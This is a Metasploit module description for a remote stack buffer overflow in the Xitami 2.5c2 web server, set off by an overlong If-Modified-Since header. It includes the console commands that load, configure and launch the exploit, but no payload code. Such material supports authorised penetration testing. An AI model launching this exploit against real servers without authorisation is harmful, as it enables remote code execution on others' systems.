Xitami 2.5c2 Web Server If-Modified-Since Overflow

Description

This module exploits a stack buffer overflow in the iMatix Corporation Xitami Web Server. If a malicious user sends an If-Modified-Since header containing an overly long string, it may be possible to execute a payload remotely. Due to size constraints, this module uses the Egghunter technique.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/http/xitami_if_mod_since
msf exploit(xitami_if_mod_since) > show targets
    ...targets...
msf exploit(xitami_if_mod_since) > set TARGET < target-id >
msf exploit(xitami_if_mod_since) > show options
    ...show and set options...
msf exploit(xitami_if_mod_since) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
